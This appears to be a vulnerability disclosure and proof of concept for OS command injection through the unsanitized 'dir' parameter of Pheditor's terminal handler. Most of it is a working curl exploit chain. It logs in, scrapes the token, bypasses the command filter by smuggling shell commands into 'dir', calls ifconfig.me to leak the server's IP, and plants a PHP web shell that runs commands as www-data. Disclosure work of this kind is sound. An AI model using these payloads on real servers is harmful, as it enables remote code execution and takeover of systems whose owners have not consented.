Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter

$command = $_POST['command'];  // ✓ metacharacters checked
$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable

if (strpos($command, '&')  !== false ||
    strpos($command, ';')  !== false ||
    strpos($command, '||') !== false) {
    die(...); // only guards $command, not $dir
}

$output = shell_exec(
    (empty($dir) ? null : 'cd ' . $dir . ' && ')
    . $command . ' && echo \ ; pwd'  // ← $dir injected here
);

curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L > /dev/null

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"


→ {"error":true,"message":"Command not allowed"}

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"


→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"

curl "http://TARGET/shell.php?c=id"


→ uid=33(www-data) gid=33(www-data) groups=33(www-data)